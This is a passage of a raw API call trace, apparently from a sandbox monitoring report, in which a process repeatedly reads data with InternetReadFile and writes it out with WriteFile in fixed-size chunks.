InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.050] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.052] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.054] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.059] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.067] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.067] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.068] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.068] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.085] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.085] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.093] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.094] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.095] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.095] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.098] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.099] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.101] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.101] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.107] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.110] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.127] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.127] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.133] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.133] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.151] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.152] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.152] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.152] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.153] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.153] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.154] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.155] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.165] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.165] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.172] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.172] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.182] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.182] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.184] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.184] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.194] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.194] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.196] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.197] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.205] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.205] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.211] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.216] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.224] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.224] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.233] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.236] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.239] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.246] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.252] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.262] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.263] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.271] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.276] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.279] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.279] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.285] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.286] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.292] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.302] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.312] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.314] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.318] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.325] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.330] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.331] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.335] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.335] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.343] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.343] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.353] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.353] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.357] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.357] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.362] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.365] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 